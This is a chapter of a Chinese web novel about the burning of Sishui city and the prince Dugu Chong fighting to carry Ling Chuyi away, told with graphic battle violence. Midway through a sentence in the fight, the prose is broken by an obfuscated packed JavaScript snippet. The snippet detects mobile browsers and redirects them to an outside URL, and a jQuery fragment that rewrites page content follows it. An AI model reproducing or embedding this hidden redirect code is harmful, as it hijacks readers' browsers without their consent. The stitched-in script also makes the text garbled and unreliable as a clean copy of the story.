42. 第 42 章
作品:《王爷被抢了》 城中的人纷纷被那蓝色的火焰所吸引,犹如飞蛾扑火般扑去。
那幽蓝的火舌舔舐着木质窗棂、晾晒的布帛,甚至是一个孩童遗落的布老虎,顷刻间便化作跳跃的焦黑。
火焰无声蔓延,却带着一种妖异的魅惑,寻常人只看上一眼,便觉心神恍惚,脚步不由自主地朝着那妖异的蓝光挪动,浑然不觉灼热逼近皮肉的剧痛。
烟尘与焦糊味混合着血腥气,在泗水城的上空凝成一片污浊的阴云。
惊恐奔逃的百姓与眼神空洞、如行尸走肉般扑向蓝焰的人群撞作一团,哭喊、嘶吼、骨骼断裂的脆响以及火焰吞噬一切的噼啪声,交织成地狱的乐章。
宋承远站在城墙上向下望去,瞳孔被那妖异的蓝火映得一片幽冷。视线所及之处,泗水城已化作一片扭曲的炼狱。
原本青石板铺就的街道被奔逃的人群践踏得泥泞不堪,混杂着暗红的血污。黑甲洪流裹挟着跳跃的蓝焰,像无数条贪婪的毒蛇,在狭窄的巷陌间急速蔓延、吞噬。
“救……救命啊——!”一个男人的叫喊声戛然而止,被一声令人“咔嚓”脆响取代。
只见一个披头散发、衣衫褴褛的男人,正疯狂地撕扯着另一个扑向火焰的男人,混乱中竟生生扭断了那男人的脖颈。
男人的身体软倒下去,头颅以诡异的角度歪斜着,眼睛瞪得极大,瞳孔涣散,里面还残留着对那妖异蓝火的最后一丝痴迷。
他的身体尚未落地,便被汹涌的人潮践踏而过。
宋志鑫眼中平生一丝不忍,但很快又被冰冷的决绝覆盖。
他猛地抽出腰间佩剑,剑锋直指下方汹涌的黑潮与癫狂的人潮,厉声喝道:“弓弩手,准备!”
城墙上早已蓄势待发的弓弩手闻令而动,密集的箭矢带着破空之声,如骤雨般倾泻而下。
箭箭爆头。
噗!噗!噗!
沉闷的穿透声连成一片,血花在攒动的人头顶上炸开。
那些正痴迷扑向蓝焰、或是在混乱中撕咬扭打的癫狂身影,头颅如同熟透的瓜果般被洞穿、爆裂。
红的血、白的浆,混杂着碎骨与毛发,在妖异的蓝光映照下,泼洒出惊心动魄的惨烈画面。
“呃啊——”
“嗬……”
短促的惨嚎和倒气声此起彼伏,方才还汹涌混乱的人潮,如同被镰刀扫过的麦秆,瞬间倒伏了一大片。
黏稠的血液顺着青石板的缝隙肆意流淌,与燃烧的幽蓝火焰相遇,发出“滋滋”的怪异声响,蒸腾起带着焦糊腥气的诡异烟雾。
然而,这残酷的屠戮并未能立刻阻止那妖火的蔓延。
一些被箭矢擦伤未死的躯体,依旧被那幽蓝的火焰蛊惑,拖着残躯,挣扎着爬向最近的火源,直到被彻底吞噬,化作一团扭曲跃动的焦炭。
往日热闹非常的泗水城,此刻只剩下燃烧的噼啪声、垂死的呻吟和箭矢撕裂空气的尖啸。
黏稠的血泊在蓝焰舔舐下蒸腾着令人作呕的腥甜焦糊味,如同地狱熬煮的毒汤。
“撤退!”宋承远下令。
城墙上的人,没有丝毫犹豫,动作迅捷地从城墙上撤离。
宋承远最后瞥了一眼那片翻腾的死亡之海,妖异的蓝光映在他冷硬的侧脸上,无悲无喜。
他猛地转身,拿起城墙上的红色旗帜,朝着城主府挥舞了几下。
片刻过后,熊熊的火光从城主府深处爆裂而出,赤红的烈焰如同挣脱囚笼的凶兽,瞬间舔舐着雕梁画栋,将飞檐斗拱卷入翻滚的火舌之中。
热浪裹挟着焦木的刺鼻气味和未散的血腥,汹涌扑向城墙,灼得人面皮发烫。
夜空被撕开一道猩红的口子,火星如暴雨般逆升,与幽蓝的妖火在空中交织撕咬,噼啪爆响淹没了一切垂死的呻吟。
宋承远衣袂在热风中猎猎作响,火光在他冰封的瞳孔里疯狂跃动,映出城主府梁柱倾塌的狰狞剪影。
他指节因过度用力而泛白,掌心传来黏腻的汗意。
凌岑高苦心经营多年的泗水城,终是在这一夜付诸一炬。瓦当熔成赤金流淌,青石板迸裂如蛛网,整座城池化作焚尸炉里哀号的祭品。
另一边,独孤冲从城楼上一跃而下后,就直奔凌楚宜的方向而去。
“三娘。”他的一声厉喝,引得城下的三人齐齐地抬头。
关松言捂着肩上的伤口,眼中满是愤恨与不甘,喉间却只溢出了一声压抑的低吼。
灰袍老者的眼中亦闪出一抹精光。
独孤冲!没想到会在这泗水城里遇到秦国大名鼎鼎的睿王。
手腕伤虽痛,但心中的狂喜却如燎原之火般瞬间吞噬了所有痛楚。
独孤冲却根本无暇顾及两人,所有的注意力都集中在凌楚宜身上。
“三娘。”又是一声叫喊。
声音中的焦灼与颤抖,让独孤冲自己都觉得惊愕。
不及细想,他伸出手就想去扶凌楚宜,却在触碰到她手臂的瞬间被她迅速地躲了过去。
她踉跄着后退,空洞的双眼中骤然闪过一抹极度的惊恐,身体就像是一具掏空了灵魂的空壳,对独孤冲的出现既抗拒又爱搭不理。
独孤冲的心像是被一只无形的手狠狠攥紧。
他不再犹豫,强横而小心地一把将凌楚宜的身体揽入怀中,用自己的臂弯支撑住她所有的重量。
“走,我带你走!”独孤冲低喝一声。
独孤冲抱着凌楚宜刚欲起身,一股凌厉的劲风便从侧面袭来!是关松言!
他虽肩头染血,剧痛难当,但眼见独孤冲竟要将凌楚宜带走,压抑在心底的不甘和狂怒瞬间抑制了伤痛,竟不顾一切地挥拳砸向独孤冲的太阳穴。
拳风呼啸,带着同归于尽的狠厉。
与此同时,那灰袍老者眼中精光更盛,枯瘦如鹰爪的手指悄无声息地探出,直取独孤冲后心要穴,角度刁钻阴毒,无声无息却暗藏杀机!
腹背受敌!独孤冲瞳孔骤缩。
他怀抱凌楚宜,行动受限,却毫无慌乱。
电光石火间,他猛地侧身,以毫厘之差避开关松言那含恨一击的重拳,拳风擦着他鬓角掠过,带起几缕断发。
同时,他揽着凌楚宜腰身的手臂骤然发力,身体借势急旋,如同陀螺般猛地一转,左脚灌注千斤之力,狠狠踹向关松言受伤的肩窝!
关松言本就受伤的肩头遭受这雷霆一击,没有半分招架之力,整个人如同断线风筝般倒飞出去,重重摔在数丈外的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16605479|184105||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
青石板上,口中鲜血狂喷,挣扎数下都没法从地上再爬起来。
而独孤冲一脚踹飞关松言的同时,另一只手已如闪电般探出,五指成爪,精准扣住灰袍老者探向自己后心的鹰爪手腕。
那灰袍老者只觉手腕如被铁箍箍住,剧痛钻心,还没等他反应过来,独孤冲手臂猛地一抖,一股雄浑内力顺着灰袍老者手腕汹涌灌入。
老者只觉体内气血翻涌,五脏六腑都似被重锤猛击,整个人不受控制地连连倒退数步,一口鲜血喷出,脸色瞬间变得煞白如纸。
独孤冲冷哼一声,不再理会那老者,低头看向怀中的凌楚宜。只见她依旧眼神空洞,毫无反应,依旧是一副失魂的模样。
独孤冲心中又是一阵刺痛,柔声道:“对不起,是我来晚了。”
说罢,他抱着凌楚宜,脚尖轻点地面一个纵身就要往远处掠去。
灰袍老者岂会让他如愿。
这可是独孤冲,抓住他便等于抓住了秦国的一张王牌,秦王对他这个弟弟又极其的宝贝。若是攻打秦国也多了一个筹码。
更何况与太子殿下相约的时间就快到了,铁甲军随时可能赶到,若能在此之前将独孤冲擒下,那自己必将立下不世之功。
灰袍老者强忍着体内翻涌的气血,强行提起一口真气,身形如鬼魅般一闪,再次挡在了独孤冲的身前。
“哪里走!”
他的左手更是迅速从袖口掏出了一把小巧却散发着幽冷光芒的暗器,那暗器造型独特,形似一只展翅欲飞的蝙蝠,边缘锋利如刃,在火光的映照下闪烁着令人胆寒的寒光。
灰袍老者满脸狰狞,手臂猛地一甩,那暗器便如离弦之箭般朝着独孤冲和凌楚宜呼啸而去,带起一阵尖锐的破空声,仿佛要将空气都撕裂开来。
独孤冲眼神一凛,就在暗器即将临近的瞬间,他抱着凌楚宜身形猛地一侧,同时脚尖在地面一点,整个人如同一只矫健的雄鹰般冲天而起。
那暗器擦着他的衣角飞过,狠狠地钉在了身后的青石板上,入石三分,可见其威力之强。
灰袍老者见一击未中,未有犹豫,立时又从衣袖中掏出一只白色瓷瓶。瓷瓶瓶身小巧,瓶口被他用内力震开,一把白色粉末。
躲避不及的独孤冲迎面就撞上了那白色粉末,瞬间被吸入鼻腔。一股刺鼻且辛辣的气味直冲脑门,独孤冲只觉脑袋一阵眩晕,眼前景象开始模糊,身体也变得绵软无力,抱着凌楚宜的手臂不由自主地松了几分。
凌楚宜的身体微微下滑,独孤冲拼尽最后一丝力气,用另一只手紧紧将她箍在怀中,可脚下却一个踉跄,差点摔倒。
灰袍老者见状,脸上露出得逞的阴笑,身形一闪,再次欺身上前,枯瘦的手掌带着凌厉的掌风,朝着独孤冲的胸口拍去。
“找死!”独孤冲一声厉喝。
说着,手中的长剑猛地朝灰袍老者刺去,剑身闪烁着寒光。
灰袍老者没想到独孤冲在中了暗算之后还能反击,心中一惊,连忙侧身躲避。
可独孤冲这一剑,速度极快,灰袍老者躲避不及,直接被刺穿了要害。
瞪大了眼,灰袍老者难以置信地看着穿透自己胸膛的长剑,嘴角溢出一缕血沫,身体摇晃着向后倒去。

